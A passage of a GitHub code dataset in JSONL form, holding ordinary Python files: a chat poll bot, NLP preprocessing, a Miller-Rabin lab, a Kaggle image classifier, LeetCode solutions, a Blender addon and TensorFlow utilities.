self.master.ddp.send_message(message.roomid, \"Please create a poll first\")\n                    return\n\n                poll = self.pollmanager.polls.last_active_by_roomid[message.roomid]\n                roomref = [r for r in message.channels if r.name == room_name]\n                if len(roomref) != 0:\n                    try:\n                        await self.pollmanager.push(poll, roomref[0]._id)\n                    except exp.RocketBotPollException as e:\n                        await self.master.ddp.send_message(\n                            message.roomid,\n                            f\"{e} - Am I part of that channel?\")\n                        sentry.exception()\n                    return\n                await self.master.ddp.send_message(message.roomid, \"No roomref found. Is this a valid room?\")\n        finally:\n            # Set the event will trigger the next queued handle call\n            event.set()\n\n    async def create_poll(self, args: str, message: m.Message) -> None:\n        args_list = pollutil.parse_args(args)\n        if len(args_list) > 1:\n            await self.pollmanager.create(message.roomid, message.id, args_list[0], args_list[1:])\n        else:\n            await self.master.ddp.send_message(message.roomid, f'*Usage:*\\n```{self.usage()[0][0]}```')\n\n    async def _check_running_tasks(self, command: str) -> asyncio.Event:\n        \"\"\"Blocks the calling function until all previous calls are finished\n        \"\"\"\n        event = asyncio.Event()\n\n        # Filter all finished tasks\n        self.active_tasks = [t for t in self.active_tasks if not t.is_set()]\n        self.active_tasks.append(event)\n\n        if len(self.active_tasks) == 1:\n            return event\n\n        prev_event = self.active_tasks[-2]\n\n        # Block task until prev task is completed\n        logger.debug(f\"Command {command} has to wait on {len(self.active_tasks) - 1} tasks\")\n        await prev_event.wait()\n\n        return event\n","repo_name":"corewire/rocketbot","sub_path":"rocketbot/commands/poll.py","file_name":"poll.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"17754075815","text":"\"\"\"\n\nReference: \n\"\"\"\n\nimport re\nimport nltk\nfrom nltk.corpus import stopwords\n\n\ndef remove_punctuations(sentence: str):\n    \"\"\"\n    Remove the puctuations\n    \"\"\"\n\n    sentence = re.sub(r\"[?.,;-]\", \" \", sentence)  # Sub with 1 space\n    sentence = re.sub(r\"['`]\", \"\", sentence)  # Sub with 0 space\n\n    return sentence\n\n\ndef preprocess(sentence: str, lemmatizer=None):\n\n    # Remove punctuations\n    sentence = remove_punctuations(sentence)\n\n    # Remove stop words\n    tmp_words = []\n    for word in nltk.word_tokenize(sentence):\n        if not word.lower() in stopwords.words(\"english\"):\n            tmp_words.append(word)\n\n    # Lemmatize\n    if lemmatizer is not None:\n        tmp_words = [lemmatizer.lemmatize(word) for word in tmp_words]\n\n    return \" \".join(tmp_words)\n\n\nclass WorldTreeLemmatizer:\n\n    def __init__(self, vocab_path=\"lemmatization-en.txt\"):\n\n        self.lemmas = {}\n\n        # Load vocab.\n        with open(vocab_path, 'r') as f:\n            for line in f:\n                line = line.rstrip().lower()\n                lemma, word = line.split(\"\\t\", maxsplit=1)\n                self.lemmas[word] = lemma\n\n    def lemmatize(self, word: str):\n        if word.lower() in self.lemmas:\n            lemma = self.lemmas[word.lower()]\n            return lemma\n        else:\n            return word.lower()\n","repo_name":"DoubleBite/Bert-for-WorldTree","sub_path":"libs/knowledge_base/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9916072081","text":"# Sheikh Salim 1003367\n# 50.042 FCS Lab 6 template\n\nimport random\ndef square_multiply(a,x,n):\n    # from lecture slides\n    res = 1\n    for i in bin(x)[2:]:\n        res = res * res % n\n        if i == '1':\n            res = res*a % n\n    return res\n\ndef miller_rabin(n, a):\n\n    # trying to find d and r\n    r = 0\n    d = n-1\n    while d % 2 ==0:\n        d = d // 2\n        r += 1\n\n    # non deterministic variant - adapted from wikipedia\n    for i in range(a):\n        random_int = random.randint(2, n-2)\n        x = square_multiply(random_int, d, n)\n        if x == 1 or x == n-1:\n            continue\n        for j in range(r-1):\n            x = x**2 % n\n            if x == n-1:\n                break\n        else:\n            return False  # composite\n    return True  # probbaly\n\ndef gen_nbits(n):\n    # Step 1 : Generate random bits of same length\n    random_bit = random.getrandbits(n)\n    # Step 2 : Make sure its odd, and make sure proper n-bit generated\n    lb_mask = 1\n    fb_mask = 1 << n - 1\n    random_bit = random_bit | lb_mask | fb_mask\n    return random_bit\n\ndef gen_prime_nbits(n):\n    # Step 3 : Check if this candidate is a prime\n    while True:\n        candidate = gen_nbits(n)\n        # Rationale given that https://stackoverflow.com/questions/6325576/how-many-iterations-of-rabin-miller-should-i-use-for-cryptographic-safe-primes\n        if miller_rabin(candidate, 40):\n            return candidate\n\n\n\n\nif __name__==\"__main__\":\n    print('Is 561 a prime?')\n    print(miller_rabin(561, 2))\n    print('Is 27 a prime?')\n    print(miller_rabin(27, 2))\n    print('Is 61 a prime?')\n    print(miller_rabin(61, 2))\n\n    print('Random number (100 bits):')\n    print(gen_prime_nbits(100))\n    print('Random number (140 bits):')\n    print(gen_prime_nbits(140))\n","repo_name":"sheikhshack/50.042_FCS","sub_path":"Lab 6/primes_template.py","file_name":"primes_template.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"69947843578","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\nimport os\n\nfrom time import time\n\nimport cv2 as cv2\n\nimport matplotlib.pyplot as plt\n\nimport matplotlib.image as mpimg\n\nimport tensorflow as tf\n\nfrom sklearn.metrics import accuracy_score,  auc, roc_curve\n\nfrom sklearn.model_selection import train_test_split, GridSearchCV\n\nfrom sklearn.pipeline import Pipeline\n\nfrom sklearn.ensemble import RandomForestClassifier\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\nprint(os.listdir(\"../input\"))\n\n#print(os.path.getsize(\"../input/train_v2\"))\n\nroot_train = \"../input/train-jpg\"\n\nprint(os.path.getsize(\"../input/train-jpg\"))\n\n\n\n# Any results you write to the current directory are saved as output.\nlabels_train = pd.DataFrame.from_csv(\"../input/train_v2.csv\") # read the labels\ncloudy = labels_train[labels_train.tags==\"cloudy\"]\n\nprimary = labels_train[labels_train.tags==\"clear primary\"]\ndef sample(y, k):\n\n    if y == 0:\n\n        return mpimg.imread(os.path.join(root_train, cloudy.index[k]+'.jpg'))\n\n    elif y == 1:\n\n        return mpimg.imread(os.path.join(root_train, primary.index[k]+'.jpg'))\n\n    else:\n\n        raise ValueError\n\n        \n\nsample(0,0).shape\nf, ax = plt.subplots(4, 2, figsize=(5, 10))\n\nfor k in range(4):\n\n    for y in range(2):\n\n        ax[k][y].imshow(sample(y, k))\ny_train_list = list()\n\ndata_train = np.zeros(((2*len(cloudy)), 32, 32, 4))\n\nfor i in range(len(cloudy)):\n\n    data_train[i]= cv2.resize(sample(0,i),(32,32))\n\n    y_train_list.append(0)    \n\nfor j in range(len(cloudy), 2*len(cloudy)):\n\n    data_train[j]= cv2.resize(sample(1,j),(32,32))\n\n    y_train_list.append(1)\n\nlen(y_train_list)\ny_full = np.array(y_train_list)\n\ny_full.shape\nx_train, x_test, y_train, y_test = train_test_split(data_train, y_full, test_size=.25)\nprint(x_train.shape, y_train.shape, x_test.shape, y_test.shape)\n\nprint(\"\\ndistribution of train classes\")\n\nprint(pd.Series(y_train).value_counts())\n\nprint(\"\\ndistribution of test classes\")\n\nprint(pd.Series(y_test).value_counts())\ndef get_conv_model_A(num_classes, img_size=32, compile=True):\n\n    tf.reset_default_graph()\n\n    tf.keras.backend.clear_session()\n\n    print(\"using\",num_classes,\"classes\")\n\n    inputs = tf.keras.Input(shape=(img_size,img_size,4), name=\"input_1\")\n\n    layers = tf.keras.layers.Conv2D(15,(3,3), activation=\"relu\")(inputs)\n\n    layers = tf.keras.layers.Flatten()(layers)\n\n    layers = tf.keras.layers.Dense(16, activation=tf.nn.relu)(layers)\n\n    layers = tf.keras.layers.Dropout(0.2)(layers)\n\n    predictions = tf.keras.layers.Dense(num_classes, activation=tf.nn.softmax, name=\"output_1\")(layers)\n\n    model = tf.keras.Model(inputs = inputs, outputs=predictions)\n\n    if compile:\n\n        model.compile(optimizer='adam',\n\n                      loss='sparse_categorical_crossentropy',\n\n                      metrics=['accuracy'])\n\n    return model\nnum_classes = len(np.unique(y_full))\n\nmodel = get_conv_model_A(num_classes)\nweights = model.get_weights()\n\nfor i in weights:\n\n    print(i.shape)\nnum_classes = len(np.unique(y_full))\n\n\n\ndef train(model, batch_size, epochs, model_name=\"\"):\n\n    # Helper para el entrenamiento\n\n    tensorboard = tf.keras.callbacks.TensorBoard(log_dir=\"logs/\"+model_name+\"_\"+\"{}\".format(time()))\n\n    model.reset_states()\n\n    model.fit(x_train, y_train, epochs=epochs, callbacks=[tensorboard],\n\n              batch_size=batch_size,\n\n              validation_data=(x_test, y_test))\n\n    metrics = model.evaluate(x_test, y_test)\n\n    return {k:v for k,v in zip (model.metrics_names, metrics)}\ndef get_conv_model_B(num_classes = 2, filters = 60, img_size=32, compile=True):\n\n    tf.reset_default_graph()\n\n    tf.keras.backend.clear_session()\n\n    print(\"using\",num_classes,\"classes\")\n\n    inputs = tf.keras.Input(shape=(img_size,img_size,4), name=\"input_1\")\n\n    layers = tf.keras.layers.Conv2D(15,(5,5), activation=\"relu\")(inputs)\n\n    layers = tf.keras.layers.MaxPool2D((2,2))(layers)\n\n    layers = tf.keras.layers.Conv2D(filters,(5,5), activation=\"relu\")(layers)\n\n    layers = tf.keras.layers.Flatten()(layers)\n\n    layers = tf.keras.layers.Dense(16, activation=tf.nn.relu)(layers)\n\n    layers = tf.keras.layers.Dropout(0.2)(layers)\n\n    predictions = tf.keras.layers.Dense(num_classes, activation=tf.nn.softmax, name=\"output_1\")(layers)\n\n    \n\n    model = tf.keras.Model(inputs = inputs, outputs=predictions)\n\n\n\n    if compile:\n\n        model.compile(optimizer=tf.keras.optimizers.Adam(lr=0.0005),\n\n                      \n\n                      loss='sparse_categorical_crossentropy',\n\n                      metrics=['accuracy'])\n\n    return model\n\n\n\ndef get_conv_model_C(num_classes = 2, filters = 60, img_size=32, compile=True):\n\n    tf.reset_default_graph()\n\n    tf.keras.backend.clear_session()\n\n    print(\"using\",num_classes,\"classes\")    \n\n    model = tf.keras.models.Sequential()\n\n    model.add(tf.keras.layers.Conv2D(15,(5,5), activation='relu', input_shape=(img_size,img_size,4)))\n\n    model.add(tf.keras.layers.MaxPool2D((2,2)))\n\n    model.add(tf.keras.layers.Conv2D(filters,(5,5), activation=\"relu\"))\n\n    model.add(tf.keras.layers.Flatten())\n\n    model.add(tf.keras.layers.Dense(16, activation=tf.nn.relu))\n\n    model.add(tf.keras.layers.Dropout(0.2))\n\n    model.add(tf.keras.layers.Dense(num_classes, activation=tf.nn.softmax, name=\"output_1\"))\n\n\n\n    if compile:\n\n        model.compile(optimizer=tf.keras.optimizers.Adam(lr=0.0005),\n\n                      loss='sparse_categorical_crossentropy',\n\n                      metrics=['accuracy'])\n\n    return model\nmodel = get_conv_model_B(num_classes)\n\nmodel.summary()\n\ntrain(model, batch_size=32, epochs=10, model_name=\"model_B\")\n\n\nmodelC = tf.keras.wrappers.scikit_learn.KerasClassifier(build_fn=get_conv_model_C, epochs=10)\n\npipe = Pipeline([('modelC', modelC)])\n\nparam_grid = {'modelC__filters': [60,20,100]}\n\nsearch = GridSearchCV(pipe, param_grid, scoring = \"accuracy\", n_jobs=1, verbose=0)\nsearch.fit(x_train, y_train)\nprint(search.best_estimator_.score(x_test, y_test))\n\nprint(search.best_params_)\npd.DataFrame(search.cv_results_)[['params', 'mean_test_score', 'std_test_score']]\nmodel2 = get_conv_model_C(num_classes)\n\nmodel2.summary()\n\ntrain(model2, batch_size=32, epochs=10, model_name=\"model_C\")\ny_pred_keras = model2.predict(x_test)\n\n\n\ny_pred_list=[]\n\nfor i in y_pred_keras:\n\n    y_pred_list.append(np.argmax(i))\n\ny_pred = np.array(y_pred_list)\n\n\n\nfpr_keras, tpr_keras, thresholds_keras = roc_curve(y_test, y_pred)\n\n\n\nauc_keras = auc(fpr_keras, tpr_keras)\n# Supervised transformation based on random forests\n\nrf = RandomForestClassifier(max_depth=4, n_estimators=10)\n\nrf.fit(x_train.reshape(-1,4096), y_train)\n\n\n\ny_pred_rf = rf.predict_proba(x_test.reshape(-1,4096))[:, 1]\n\nfpr_rf, tpr_rf, thresholds_rf = roc_curve(y_test, y_pred_rf)\n\nauc_rf = auc(fpr_rf, tpr_rf)\nplt.figure(1)\n\nplt.plot([0, 1], [0, 1], 'k--')\n\nplt.plot(fpr_keras, tpr_keras, label='Keras (area = {:.3f})'.format(auc_keras))\n\nplt.plot(fpr_rf, tpr_rf, label='RF (area = {:.3f})'.format(auc_rf))\n\nplt.xlabel('False positive rate')\n\nplt.ylabel('True positive rate')\n\nplt.title('ROC curve')\n\nplt.legend(loc='best')\n\nplt.show()\n\n# Zoom in view of the upper left corner.\n\nplt.figure(2)\n\nplt.xlim(0, 0.2)\n\nplt.ylim(0.8, 1)\n\nplt.plot([0, 1], [0, 1], 'k--')\n\nplt.plot(fpr_keras, tpr_keras, label='Keras (area = {:.3f})'.format(auc_keras))\n\nplt.plot(fpr_rf, tpr_rf, label='RF (area = {:.3f})'.format(auc_rf))\n\nplt.xlabel('False positive rate')\n\nplt.ylabel('True positive rate')\n\nplt.title('ROC curve (zoomed in at top left)')\n\nplt.legend(loc='best')\n\nplt.show()","repo_name":"aorursy/new-nb-5","sub_path":"mylo0122_kernel-binario-nubes-bosque.py","file_name":"mylo0122_kernel-binario-nubes-bosque.py","file_ext":"py","file_size_in_byte":7819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12383092600","text":"# 思路：每次找到最大的元素，然后将其翻转到第一个位置上，再将其翻转到最后的位置上\nclass Solution:\n    def pancakeSort(self, A: List[int]) -> List[int]:\n        dic = {A[i]:i+1 for i in range(len(A))}\n        result = []\n        for i in range(len(A),1,-1):\n            if dic[i] == i:\n                continue\n            elif dic[i] == 1:\n                result.append(i)\n            else:\n                result.extend([dic[i],i])\n            for j in dic.keys():\n                if dic[j] < dic[i]:\n                    dic[j] += (i-dic[i])\n                elif dic[j] == dic[i]:\n                    continue\n                else:\n                    dic[j] = i + 1 - dic[j]\n            del dic[i]\n        return result\n","repo_name":"mintdouble/LeetCode","sub_path":"Medium/969_煎饼排序/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33331655993","text":"from pyvis import network as pvnet\r\nimport networkx as nx\r\nimport csv\r\n\r\ndef plot_g_pyviz(G,):\r\n    net = pvnet.Network(notebook=True, directed=True)\r\n\r\n    net.from_nx(G)\r\n    edges_data_set = net.get_edges()\r\n    nodes = net.get_nodes()\r\n    nodes_data_set = []\r\n    for node in nodes:\r\n        nodes_data_set.append({\"id\": node, \"label\": node.title(), \"shape\": \"dot\", \"size\": 10})\r\n\r\n    return {'nodes_info': nodes_data_set, 'edges_info': edges_data_set}\r\n\r\n\r\ndef init_graph(spy_name):\r\n    G = nx.MultiDiGraph()\r\n    with open(f'new_result.csv', \"r\", newline=\"\") as file:\r\n            rd = {}\r\n            reader = csv.reader(file)\r\n            for row in reader:\r\n                name = (row[0]+row[1]+row[2]).lower()\r\n                search = ''.join(spy_name.lower().split())\r\n                if name == search:\r\n                    from_time = row[5]+row[6]\r\n                    rd[from_time] = [r.lower() for r in row]\r\n\r\n            for number, row in enumerate(sorted(rd.keys())):\r\n                if (rd[row][3], rd[row][4]) in [(edge[0], edge[1]) for edge in G.edges]:\r\n                    rad = [edge[2]['rad'] for edge in G.edges(data=True) if (edge[0], edge[1]) == (rd[row][3], rd[row][4])]\r\n                    current_rad = max(rad) + 0.1\r\n                    G.add_edge(rd[row][3], rd[row][4], rad=current_rad, label=number)\r\n                else:\r\n                    G.add_edge(rd[row][3], rd[row][4], rad=0.1, label=number)\r\n\r\n    pos = nx.circular_layout(G)\r\n    nx.draw_networkx_nodes(G, pos, node_size=0)\r\n    nx.draw_networkx_labels(G, pos, font_size=15, font_color='green')\r\n    for edge in G.edges(data=True):\r\n        nx.draw_networkx_edges(G, pos, edgelist=[(edge[0],edge[1])], connectionstyle=f'arc3,rad={edge[2][\"rad\"]}', min_source_margin=8, min_target_margin=12)\r\n\r\n    \r\n    return G\r\n\r\n\r\ndef get_result(spy_name):\r\n    return plot_g_pyviz(init_graph(spy_name))\r\n\r\n","repo_name":"bigvilka/Semestr_7_DS","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31351393493","text":"# Definition for a binary tree node.\nclass TreeNode:\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\nclass Solution:\n    # 由于叶子结点的坡度为0，根结点的坡度为左右结点各自的和之差，所以符合后序遍历的特点\n    # 注意这里采用列表res[0]，可变对象作为“传址调用”或者用\"self.res\"\n    def findTilt(self, root: TreeNode) -> int:\n        res = [0]\n        self.post_order_trans(root, res)\n        return res[0]\n\n    def post_order_trans(self, node: 'TreeNode', res: 'List[int]')->'int':\n        if node is None:return 0\n        left_sum = self.post_order_trans(node.left, res)\n        right_sum = self.post_order_trans(node.right, res)\n        res[0] += abs(left_sum - right_sum)\n        print('(',left_sum, right_sum,left_sum + right_sum + node.val, res[0], ')', end= ' ')\n        return left_sum + right_sum + node.val\n\n\nif __name__ == '__main__':\n    s = Solution()\n    root = TreeNode(5)\n    root.left = TreeNode(4)\n    root.right = TreeNode(8)\n    root.left.left = TreeNode(11)\n    root.left.left.left = TreeNode(7)\n    root.left.left.right = TreeNode(2)\n    root.right.left = TreeNode(13)\n    root.right.right = TreeNode(4)\n    root.right.right.right = TreeNode(1)\n    '''\n    示例: \n    给定如下二叉树\n\n                  5\n                 / \\\n                4   8\n               /   / \\\n              11  13  4\n             /  \\      \\\n            7    2      1\n    \n    '''\n    print(s.findTilt(root))\n","repo_name":"hushaoqi/LeetCode","sub_path":"563.py","file_name":"563.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"13146538729","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def goodNodes(self, root: TreeNode) -> int:\n        if not root:\n            return 0\n        \n        stack = [([root, root.val])]\n        count = 0\n        while stack:\n            currNode, currMxSoFar = stack.pop()\n            \n            if currNode.val >= currMxSoFar:\n                count += 1\n            \n            currMxSoFar = max(currMxSoFar, currNode.val)\n            \n            if currNode.left:\n                stack.append((currNode.left, currMxSoFar))\n            if currNode.right:\n                stack.append((currNode.right, currMxSoFar))\n                \n        return count","repo_name":"brdayauon/s30SpeedRunning","sub_path":"TreeQuestions/countGoodNodesInBinaryTree.py","file_name":"countGoodNodesInBinaryTree.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2034237583","text":"import bpy\n\n\nKEYMAPS = list()\n\nimage_nodes = (\"CompositorNodeRLayers\",\n               \"CompositorNodeImage\",\n               \"CompositorNodeViewer\",\n               \"CompositorNodeComposite\",\n               \"ShaderNodeTexImage\",\n               \"ShaderNodeTexEnvironment\",\n               \"GeometryNodeImageTexture\")\n\n\nclass AMTH_NODE_OT_show_active_node_image(bpy.types.Operator):\n    \"\"\"Display source image in the Image Editor (if available)\"\"\"\n    bl_idname = \"node.show_active_node_image\"\n    bl_label = \"Open Node Source Image\"\n    bl_options = {\"UNDO\"}\n\n    @classmethod\n    def poll(cls, context):\n        return context.space_data.type == 'NODE_EDITOR' \\\n            and context.active_node is not None \\\n            and context.active_node.bl_idname in image_nodes\n\n    def execute(self, context):\n        return {'FINISHED'}\n\n    def invoke(self, context, event):\n        mlocx = event.mouse_region_x\n        mlocy = event.mouse_region_y\n        select_node = bpy.ops.node.select(location=(mlocx, mlocy), extend=False)\n\n        if 'FINISHED' in select_node:  # Only run if we're clicking on a node\n            get_addon = \"amaranth\" in context.preferences.addons.keys()\n            if not get_addon:\n                return {\"CANCELLED\"}\n\n            preferences = context.preferences.addons[\"amaranth\"].preferences\n            if preferences.use_image_node_display:\n                if context.active_node:\n                    active_node = context.active_node\n\n                    if active_node.bl_idname in image_nodes:\n                        # Use largest image editor\n                        area = None\n                        area_size = 0\n                        for a in context.screen.areas:\n                            if a.type == \"IMAGE_EDITOR\":\n                                size = a.width * a.height\n                                if size > area_size:\n                                    area_size = size\n                                    area = a\n                        if area:\n                            for space in area.spaces:\n                                if space.type == \"IMAGE_EDITOR\":\n                                    if active_node.bl_idname == \"CompositorNodeViewer\":\n                                        space.image = bpy.data.images[\n                                            \"Viewer Node\"]\n                                    elif active_node.bl_idname in [\"CompositorNodeComposite\", \"CompositorNodeRLayers\"]:\n                                        space.image = bpy.data.images[\n                                            \"Render Result\"]\n                                    elif active_node.bl_idname == \"GeometryNodeImageTexture\":\n                                        if active_node.inputs['Image'].is_linked:\n                                            self.report({'INFO'}, \"Previewing linked sockets is not supported yet\")\n                                            break\n                                        if active_node.inputs['Image'].default_value:\n                                            space.image = active_node.inputs['Image'].default_value\n                                    elif active_node.image:\n                                        space.image = active_node.image\n                                    else:\n                                        self.report({'INFO'}, \"No image detected\")\n                                        break\n                                break\n                        else:\n                            return {'CANCELLED'}\n\n            return {\"FINISHED\"}\n        else:\n            return {\"PASS_THROUGH\"}\n\n\ndef ui(self, context):\n    node = context.active_node\n\n    if node is not None and node.bl_idname in image_nodes:\n        self.layout.separator()\n        self.layout.operator_context = 'INVOKE_DEFAULT'\n        self.layout.operator(\n            AMTH_NODE_OT_show_active_node_image.bl_idname,\n            icon=\"IMAGE\", text=\"Display in Image Editor\")\n\n\ndef register():\n    bpy.utils.register_class(AMTH_NODE_OT_show_active_node_image)\n    kc = bpy.context.window_manager.keyconfigs.addon\n    km = kc.keymaps.new(name=\"Node Editor\", space_type=\"NODE_EDITOR\")\n    kmi = km.keymap_items.new(\"node.show_active_node_image\",\n                              \"LEFTMOUSE\", \"DOUBLE_CLICK\")\n    KEYMAPS.append((km, kmi))\n\n    bpy.types.NODE_MT_node.append(ui)\n    bpy.types.NODE_MT_context_menu.append(ui)\n\n\ndef unregister():\n    bpy.utils.unregister_class(AMTH_NODE_OT_show_active_node_image)\n    for km, kmi in KEYMAPS:\n        km.keymap_items.remove(kmi)\n    KEYMAPS.clear()\n\n    bpy.types.NODE_MT_node.remove(ui)\n    bpy.types.NODE_MT_context_menu.remove(ui)\n","repo_name":"Bforartists/Bforartists","sub_path":"scripts/addons/amaranth/node_editor/display_image.py","file_name":"display_image.py","file_ext":"py","file_size_in_byte":4678,"program_lang":"python","lang":"en","doc_type":"code","stars":492,"dataset":"github-code","pt":"22"}
+{"seq_id":"7528541065","text":"class Solution:\n    def lexicalOrder(self, n):\n        \"\"\"\n        :type n: int\n        :rtype: List[int]\n        \"\"\"\n        result = []\n        cur = 1\n        for i in range(n):\n            result.append(cur)\n            if cur * 10 <= n:\n                cur *= 10\n            elif cur % 10 < 9 and cur < n:\n                cur += 1\n            else:\n                while cur % 10 == 9 or cur == n:\n                    cur //= 10\n                cur += 1\n        return result\n\n\nif __name__ == '__main__':\n    n = int(input())\n    solution = Solution()\n    print(solution.lexicalOrder(n))\n","repo_name":"jiangshen95/UbuntuLeetCode","sub_path":"LexicographicalNumbers3.py","file_name":"LexicographicalNumbers3.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28609952614","text":"# coding: utf-8\nfrom __future__ import unicode_literals\n\nfrom ..util import get_doc\n\n\ndef test_issue309(en_tokenizer):\n    \"\"\"Test Issue #309: SBD fails on empty string\"\"\"\n    tokens = en_tokenizer(\" \")\n    doc = get_doc(tokens.vocab, [t.text for t in tokens], heads=[0], deps=['ROOT'])\n    doc.is_parsed = True\n    assert len(doc) == 1\n    sents = list(doc.sents)\n    assert len(sents) == 1\n","repo_name":"ryfeus/lambda-packs","sub_path":"Spacy/source2.7/spacy/tests/regression/test_issue309.py","file_name":"test_issue309.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":1104,"dataset":"github-code","pt":"22"}
+{"seq_id":"37399963401","text":"import os\nimport time\nimport sys\nimport traceback\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom ..util.util import get_variables_starting_with\nfrom ...util.util import tic, toc\n\ndef load_params(sess, filename, replace_string_dict={}):\n    var_dict = {}\n    for var in tf.global_variables():\n        name = var.name.split(':')[0]\n        flag = False\n        for key, val in replace_string_dict.items():\n            if key in name:\n                if val is None:\n                    flag = True\n                else:\n                    name = name.replace(key, val)\n        if not flag:\n            var_dict[name] = var\n    saver = tf.train.Saver(var_dict, reshape=False)\n    saver.restore(sess, filename)\n    \n\ndef save_params(sess, filename=None, var_dict=None, global_step=None):\n    if var_dict is not None:\n        saver = tf.train.Saver(var_dict)\n    else:\n        saver = tf.train.Saver()\n    saver.save(sess, filename, global_step=global_step)\n\n\ndef deploy(sess, model, batcher, collector, op,\n           hyperparams = {},\n           verbose_rate=None,\n           ignore_errors=False,\n           debug_mode=False,\n          ):\n\n    if verbose_rate is not None:\n        print('Deploying')\n    batcher.reset()\n    start_time = tic()\n    rt_hist = []\n    pt_hist = []\n    wt_hist = []\n    for step in range(batcher.num_batch):\n        read_flag = False\n        write_flag = False\n        try:\n            # loading data batch into GPU\n            batcher_cursor = batcher.cursor\n            s = tic()\n            data_batch = batcher.next_batch()\n            rt = toc(s)\n            rt_hist.append(rt)\n\n            feed_dict = {model.data_placeholders[key] : data_batch[key] for key in data_batch if key in model.data_placeholders}\n            # setting hyperparameters\n            hp_feed_dict = {model.hyperparam_placeholders[key] : hyperparams[key] for key in hyperparams}\n            feed_dict.update(hp_feed_dict)\n\n            # running the computational graph\n            s = tic()\n            res = sess.run(\n                (op, model.debug_info) if debug_mode else op,\n                feed_dict=feed_dict\n            )\n            pt = toc(s)\n            pt_hist.append(pt)\n\n            if debug_mode:\n                values, debug_info = res\n            else:\n                values = res\n            \n        except:\n            print(traceback.format_exc())\n            print('Batch %d/%d' % (step+1, batcher.num_batch))\n            if not ignore_errors:\n                raise\n            collector.skip_batch()\n            \n        try:\n            # saving batch results\n            s = tic()\n            collector.collect_batch(values)\n            wt = toc(s)\n            wt_hist.append(wt)\n            write_flag = True\n        except:\n            print('Batch %d/%d' % (step+1, batcher.num_batch))\n            raise\n\n        # printing status once every verbose_rate steps\n        if verbose_rate is not None and (step % verbose_rate == 0 or step == batcher.num_batch - 1):        \n            print('Batch %d/%d done in %d seconds. Spent time for read=%.2f (avg %.2f), processing=%.2f (avg %.2f), write=%.2f (avg %.2f) seconds.' \n                  % (step+1, batcher.num_batch, toc(start_time), rt, np.mean(rt_hist), pt, np.mean(pt_hist), wt, np.mean(wt_hist)))\n             \n            if debug_mode:\n                print('DEBUG INFO: ', debug_info)\n                    \n\n                \n    if verbose_rate is not None:\n        print('Done in %d seconds' % toc(start_time))\n\n\n    \n\ndef convert(batcher, collector, verbose_rate=None, ignore_errors=False):\n\n    if verbose_rate is not None:\n        print('Converting')\n    start_time = tic()\n    \n    for step in range(batcher.num_batch):\n        try:\n            # load a batch\n            s = tic()\n            data_batch = batcher.next_batch()\n            rt = toc(s)\n\n            # write the batch\n            s = tic()\n            collector.collect_batch(data_batch)\n            wt = toc(s)\n\n            # print logs\n            if verbose_rate is not None and step % verbose_rate == 0:        \n                print('Batch %d/%d done in %d seconds. Spent time for read=%.2f, write=%.2f seconds.' \n                      % (step+1, batcher.num_batch, toc(start_time), rt, wt))\n\n        except:\n            print(traceback.format_exc())\n            print('Batch %d/%d' % (step+1, batcher.num_batch))\n            if not ignore_errors:\n                raise\n            \n    if verbose_rate is not None:\n        print('All done in %d secs' % toc(start_time))\n\n\n\n\n\n\n\n\n","repo_name":"alirezazareian/vspnet","sub_path":"src/tensorflow/engine/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4549,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"22"}
+{"seq_id":"33402577667","text":"class Solution:\n    def removeDuplicateLetters(self, s: str) -> str:\n        #nums = list(s)\n        h = Counter(s)\n        \n        #alpha = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];\n        stack = []\n        seen = set()\n        for i in range(len(s)):\n            \n            #if not stack or ord(nums[i]) > stack[-1] and nums[i] not in stack:\n             #   stack.append(nums[i])\n            h[s[i]] -=1\n            while stack and ord(s[i]) < ord(stack[-1]) and h[stack[-1]] != 0 and s[i] not in seen:\n                v = stack.pop()\n                seen.remove(v)\n            \n            \n            if s[i] not in seen:\n                stack.append(s[i])\n                seen.add(s[i])\n            \n            \n            \n            \n            \n        \n        return ''.join(stack)","repo_name":"tannerr12/Data-Structures-and-Algorithms","sub_path":"0316-remove-duplicate-letters/0316-remove-duplicate-letters.py","file_name":"0316-remove-duplicate-letters.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
